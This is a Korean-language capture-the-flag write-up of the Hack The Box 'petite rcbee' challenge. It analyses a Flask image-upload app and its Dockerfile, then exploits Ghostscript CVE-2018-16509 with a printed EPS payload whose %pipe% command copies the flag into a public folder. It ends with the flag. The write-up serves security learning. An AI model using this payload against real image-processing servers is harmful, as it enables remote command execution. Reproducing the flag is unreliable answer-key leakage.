[HTB] petite rcbee Writeup
주어진 페이지에 접근해보자. 파일 업로드 기능이 있는 것을 확인 할 수 있다.
웹쉘 파일 업로드 하는 시나리오를 우선적으로 생각하며 소스코드를 분석해보았다.
# utils.py
import tempfile, glob, os
from werkzeug.utils import secure_filename
from application import main
from PIL import Image
ALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg'])
generate = lambda x: os.urandom(x).hex()
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS ##### ... (1)
def petmotion(bee, frames):
outputFrames = []
for frame in frames:
newFrame, i = Image.new('RGBA', frame.size), frames.index(frame)
width = int(75*(0.8 + i * 0.02))
height = int(75*(0.8 + i * 0.05))
kaloBee = bee.resize((width, height))
frame = frame.convert('RGBA')
newFrame.paste(kaloBee, mask=kaloBee, box=(30, 37))
newFrame.paste(frame, mask=frame)
outputFrames.append(newFrame)
return outputFrames
def save_tmp(file):
tmp = tempfile.gettempdir()
path = os.path.join(tmp, secure_filename(file.filename))
file.save(path)
return path
def petpet(file):
if not allowed_file(file.filename):
return {'status': 'failed', 'message': 'Improper filename'}, 400
try:
tmp_path = save_tmp(file)
bee = Image.open(tmp_path).convert('RGBA')
frames = [Image.open(f) for f in sorted(glob.glob('application/static/img/*'))]
finalpet = petmotion(bee, frames)
filename = f'{generate(14)}.gif' ##### ................. (2)
finalpet[0].save(
f'{main.app.config["UPLOAD_FOLDER"]}/{filename}',
save_all=True,
duration=30,
loop=0,
append_images=finalpet[1:],
)
os.unlink(tmp_path)
return {'status': 'success', 'image': f'static/petpets/{filename}'}, 200
except:
return {'status': 'failed', 'message': 'Something went wrong'}, 500
(1)과 같이 파일명을 . 기준으로 split 했을 때 가장 오른쪽 요소의 값을 검증하는 로직이 있기 때문에 파일 확장자를 우회 할 수는 없었고, 널 바이트 삽입 등을 통해 서버에서 인식하는 과정에서 오류를 통해 업로드를 시도해보려고 했으나,
(2)와 같이 파일이 업로드 되더라도 일련의 과정을 거친 후에 {난수}.gif 로 확장자까지 고정으로 변경되어 업로드 되기 때문에 웹쉘 업로드 시나리오는 사실상 불가능 하다고 판단했다.
해당 페이지의 기능이 파일 업로드 밖에 없으므로 해당 시나리오가 불가하다면 웹 서비스를 구동하는 과정에서 설정 문제가 있을 것이라고 판단하고 주어진 파일들을 전부 찬찬히 분석해보았지만 큰 특이사항은 발견하지 못했다.
마지막 남은 시나리오는 취약한 버전의 컴포넌트를 사용하여 그것에 유효한 알려진 취약점을 활용하는 것 밖에 없다고 판단했다.
Dockerfile을 보니 ghostscript 9.23 버전을 사용한다는것을 알 수 있었고 해당 컴포넌트에 알려진 취약점이 있는지 찾아보았다.
#### Dockerfile
FROM python:3
# Install system dependencies
RUN apt update -y; apt install -y curl supervisor
# Install Python dependencies
RUN pip install flask Pillow
# Switch working environment
WORKDIR /tmp
# Install Pillow component
RUN curl -L -O https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs923/ghostscript-9.23-linux-x86_64.tgz \
&& tar -xzf ghostscript-9.23-linux-x86_64.tgz \
&& mv ghostscript-9.23-linux-x86_64/gs-923-linux-x86_64 /usr/local/bin/gs && rm -rf /tmp/ghost*
# Setup app
RUN mkdir -p /app
WORKDIR /app
# Add application
COPY challenge .
# Setup supervisor
COPY config/supervisord.conf /etc/supervisord.conf
# Expose port the server is reachable on
EXPOSE 1337
# Disable pycache
ENV PYTHONDONTWRITEBYTECODE=1
# Run supervisord
ENTRYPOINT [ "/usr/bin/supervisord", "-c", "/etc/supervisord.conf" ]
서치해보니 어렵지 않게 exploit poc를 찾을 수 있었다.
https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509
GitHub - farisv/PIL-RCE-Ghostscript-CVE-2018-16509: PoC + Docker Environment for Python PIL/Pillow Remote Shell Command Executio
PoC + Docker Environment for Python PIL/Pillow Remote Shell Command Execution via Ghostscript CVE-2018-16509 - GitHub - farisv/PIL-RCE-Ghostscript-CVE-2018-16509: PoC + Docker Environment for Pytho...
github.com
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%cp /app/flag* /app/application/static/petpets/flag.html) currentdevice putdeviceprops
문제 소스에서 플래그 경로를 확인 할 수 있기 때문에, 해당 파일을 config.py에 선언되어있는 UPLOAD_FOLDER 경로에 flag.html파일로 복사하는 RCE 페이로드를 업로드 시도하였다.
업로드 후 /static/petpets/flag.html로 접속해보니 RCE가 정상적으로 작동하여 플래그를 조회 할 수 있었다.
FLAG = HTB{c0mfy_bzzzzz_rcb33s_vlb3s}